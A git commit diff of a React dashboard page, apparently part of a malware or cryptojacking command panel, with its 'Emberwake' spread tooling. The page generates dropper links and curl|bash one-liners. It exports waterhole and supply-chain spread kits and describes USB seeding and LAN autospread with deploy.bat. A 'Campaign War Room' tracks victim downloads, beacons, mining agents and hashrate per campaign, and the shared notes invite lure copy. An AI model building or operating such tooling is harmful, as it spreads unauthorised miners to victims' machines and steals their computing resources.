feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -1,6 +1,6 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { api } from '../api/client';
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import {
combinedDropperQuery,
commandOneliner,
@@ -8,9 +8,23 @@ import {
publicDownloadUrl,
shOneliner,
} from '../help/emberwake';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
spreadTechniqueDocUrl,
} from '../help/spreadTechniques';
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
import { useWebSocket } from '../hooks/useWebSocket';
import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import './Pages.css';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
@@ -27,8 +41,14 @@ function CopyChip({ text, label }: { text: string; label: string }) {
);
}
const NOTES_TYPING_DEBOUNCE_MS = 400;
const NOTES_TYPING_IDLE_MS = 2000;
const WAR_ROOM_DAYS = 7;
const WAR_ROOM_POLL_MS = 15_000;
export default function EmberwakePage() {
const { latestMessage } = useWebSocket();
const { notesTyping, sendNotesTyping } = usePresence();
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [serverBase, setServerBase] = useState('');
@@ -37,30 +57,41 @@ export default function EmberwakePage() {
const [pinB, setPinB] = useState('');
const [notes, setNotes] = useState('');
const [notesMeta, setNotesMeta] = useState('');
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
const [warRoomUpdated, setWarRoomUpdated] = useState('');
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
const [exportBusy, setExportBusy] = useState(false);
const [siteName, setSiteName] = useState('my-blog');
const [notesBusy, setNotesBusy] = useState(false);
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const typingActiveRef = useRef(false);
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
const loadWarRoom = useCallback(async () => {
const data = await api.getWarRoom(WAR_ROOM_DAYS);
setWarRoom(data);
setWarRoomUpdated(data.generated_at);
}, []);
const load = useCallback(async () => {
const [b, info, cfg, pub, camp, n] = await Promise.all([
const [b, info, cfg, pub, n] = await Promise.all([
api.listBuilds(),
api.getServerInfo(),
api.getConfig(),
api.listPublicBuilds(),
api.listCampaignHits(),
api.getEmberwakeNotes(),
]);
setBuilds(b);
const pubUrl = cfg.server?.public_url?.trim();
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
setPublicBuilds(pub.builds);
setCampaigns(camp.campaigns);
setNotes(n.content);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
void loadWarRoom().catch(() => {});
if (!pinA) {
const p = b.find((x) => x.pinned);
if (p) setPinA(p.id);
@@ -69,22 +100,83 @@ export default function EmberwakePage() {
const alt = b.find((x) => !x.pinned) ?? b[1];
if (alt) setPinB(alt.id);
}
}, [pinA, pinB]);
}, [pinA, pinB, loadWarRoom]);
useEffect(() => {
void load().catch(() => {});
}, [load]);
useEffect(() => {
if (latestMessage?.type !== 'emberwake_notes_updated') return;
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
const id = window.setInterval(() => {
void loadWarRoom().catch(() => {});
}, WAR_ROOM_POLL_MS);
return () => window.clearInterval(id);
}, [loadWarRoom]);
useEffect(() => {
if (!latestMessage) return;
if (latestMessage.type === 'emberwake_notes_updated') {
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
}
return;
}
if (latestMessage.type === 'emberwake_war_room') {
const p = latestMessage.payload as WarRoomResponse;
if (p && Array.isArray(p.campaigns)) {
setWarRoom(p);
setWarRoomUpdated(p.generated_at || new Date().toISOString());
}
}
}, [latestMessage]);
const stopNotesTyping = useCallback(() => {
if (typingTimerRef.current) {
clearTimeout(typingTimerRef.current);
typingTimerRef.current = null;
}
if (typingActiveRef.current) {
typingActiveRef.current = false;
sendNotesTyping(false);
}
}, [sendNotesTyping]);
const handleNotesChange = (value: string) => {
setNotes(value);
if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
typingTimerRef.current = setTimeout(() => {
if (!typingActiveRef.current) {
typingActiveRef.current = true;
sendNotesTyping(true);
}
typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
}, NOTES_TYPING_DEBOUNCE_MS);
};
useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);
const handleConstellationSelect = useCallback((slug: string) => {
setHighlightedCampaign(slug);
setWarRoomView('funnel');
}, []);
useEffect(() => {
if (warRoomView !== 'funnel' || !highlightedCampaign) return;
const t = window.setTimeout(() => {
const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
}, 80);
const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
return () => {
window.clearTimeout(t);
window.clearTimeout(clear);
};
}, [warRoomView, highlightedCampaign]);
const saveNotes = async () => {
stopNotesTyping();
setNotesBusy(true);
try {
const n = await api.putEmberwakeNotes(notes);
@@ -108,7 +200,7 @@ export default function EmberwakePage() {
};
return (
<div className="page emberwake-page">
<div className="page emberwake-page operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
@@ -119,18 +211,32 @@ export default function EmberwakePage() {
</div>
</header>
<div className="spread-section spread-section--ember">
<AlsoHere page="/emberwake" />
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
<h3>How to spread</h3>
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
<li><strong>Web waterhole</strong> export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
<li><strong>curl | bash VPS</strong> paste one-liners below on a headless server session.</li>
<li><strong>Fusion media</strong> forge Desktop Fusion profile, seed USB or shared folders.</li>
<li><strong>LAN kindling</strong> universal spread kit + autospread; deploy.bat on reachable hosts.</li>
<li><strong>A/B droppers</strong> pin build A vs B; rotate campaign links between waves.</li>
<p className="form-hint" style={{ marginTop: 0 }}>
Operator instructions (no login):{' '}
<a href="/spread/">Spread kit landing</a>
{' · '}
Full threat-intel matrix:{' '}
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
SPREAD_TECHNIQUES.md
</a>
</p>
<ul className="emberwake-technique-list">
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
<li key={t.label}>
<strong>{t.label}</strong> {t.hint}{' '}
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
playbook §
</a>
</li>
))}
</ul>
</div>
<div className="card" style={{ marginBottom: '1rem' }}>
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
<h2>Campaign builder</h2>
<div className="form-group">
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
@@ -177,9 +283,13 @@ export default function EmberwakePage() {
)}
</div>
<div className="spread-section spread-section--cyan">
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
<h3>Spread kit export</h3>
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
<p className="form-hint">
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
{' '}
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
</p>
<div className="emberwake-ab-row">
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
@@ -188,7 +298,19 @@ export default function EmberwakePage() {
</div>
</div>
<div className="spread-section spread-section--gold">
<SupplyChainExportWizard
builds={builds}
serverBase={serverBase}
onServerBaseChange={setServerBase}
pinA={pinA}
onPinAChange={setPinA}
campaign={campaign}
onCampaignChange={setCampaign}
siteName={siteName}
onSiteNameChange={setSiteName}
/>
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
<h3>Public build URLs</h3>
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate public builds enabled).</p>
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
@@ -205,28 +327,194 @@ export default function EmberwakePage() {
</ul>
</div>
{campaigns.length > 0 && (
<div className="spread-section spread-section--violet">
<h3>Campaign hits</h3>
<ul className="emberwake-campaign-list">
{campaigns.map((c) => (
<li key={c.campaign}>
<span><code>{c.campaign}</code></span>
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
</li>
))}
</ul>
<div
id="campaign-war-room"
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
>
<h3>Campaign War Room</h3>
<div className="war-room-toolbar">
<span>
Live funnel hits downloads first beacon mining hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
</span>
<div className="war-room-toolbar-right">
<div className="war-room-view-toggle" role="group" aria-label="War room view">
<button
type="button"
className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('funnel')}
>
Funnel board
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('table')}
>
Stats table
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('constellations')}
>
Constellations
</button>
</div>
<span>
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
</span>
</div>
</div>
)}
{warRoom && warRoom.campaigns.length > 0 ? (
warRoomView === 'constellations' ? (
<CampaignConstellations
campaigns={warRoom.campaigns}
onSelectCampaign={handleConstellationSelect}
/>
) : warRoomView === 'funnel' ? (
<WarRoomFunnelBoard
campaigns={warRoom.campaigns}
days={warRoom.days || WAR_ROOM_DAYS}
refreshKey={warRoomUpdated}
highlightCampaign={highlightedCampaign}
/>
) : (
<div className="war-room-table-wrap">
<table className="war-room-table">
<thead>
<tr>
<th>Campaign</th>
<th>Hits</th>
<th>Downloads</th>
<th>Beacon</th>
<th>Mining</th>
<th>Agents</th>
<th>Online</th>
<th>Hashrate</th>
<th>Conv %</th>
<th>7d trend</th>
</tr>
</thead>
<tbody>
{warRoom.campaigns.map((c, rowIndex) => {
const max = sparklineMax(c.daily_hits);
const beacon = c.first_beacon ?? c.agents;
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
return (
<tr key={c.campaign}>
<td>
<code>{c.campaign}</code>
{c.last_activity ? (
<span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
{new Date(c.last_activity).toLocaleDateString()}
</span>
) : null}
</td>
<td>
<WarRoomOdometer
value={c.hits}
staggerMs={staggerDelayMs(rowIndex, 0)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.downloads}
staggerMs={staggerDelayMs(rowIndex, 1)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={beacon}
staggerMs={staggerDelayMs(rowIndex, 2)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={mining}
staggerMs={staggerDelayMs(rowIndex, 3)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.agents}
staggerMs={staggerDelayMs(rowIndex, 4)}
/>
</td>
<td className="war-room-online">
<WarRoomOdometer
value={c.online}
staggerMs={staggerDelayMs(rowIndex, 5)}
/>
</td>
<td>
<WarRoomOdometer
value={c.hashrate}
format={(n) => formatHashrate(n)}
staggerMs={staggerDelayMs(rowIndex, 6)}
showDelta
/>
</td>
<td className="war-room-conv">
<WarRoomOdometer
value={c.conversion_pct}
format={(n) => n.toFixed(1)}
suffix="%"
staggerMs={staggerDelayMs(rowIndex, 7)}
showDelta
/>
</td>
<td>
<div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
{c.daily_hits.map((v, i) => (
<span
key={i}
style={{ height: `${sparklineBarHeight(v, max)}%` }}
/>
))}
</div>
</td>
</tr>
);
})}
</tbody>
</table>
</div>
)
) : (
<p className="war-room-empty">
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
</p>
)}
</div>
<div className="card">
<div className="card operator-deck-card operator-interactive">
<h2>Shared notes</h2>
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
{notesTyping?.active && (
<div className="emberwake-typing-banner" role="status">
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
<span className="emberwake-typing-body">
<strong>{notesTyping.user}</strong> is editing notes
<span className="typing-dots" aria-hidden>
<span />
<span />
<span />
</span>
<span className="emberwake-typing-cursor" aria-hidden />
</span>
</div>
)}
<textarea
className="input emberwake-notes"
rows={6}
value={notes}
onChange={(e) => setNotes(e.target.value)}
onChange={(e) => handleNotesChange(e.target.value)}
onBlur={() => stopNotesTyping()}
placeholder="Paste lure copy, host paths, rotation schedule…"
/>
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>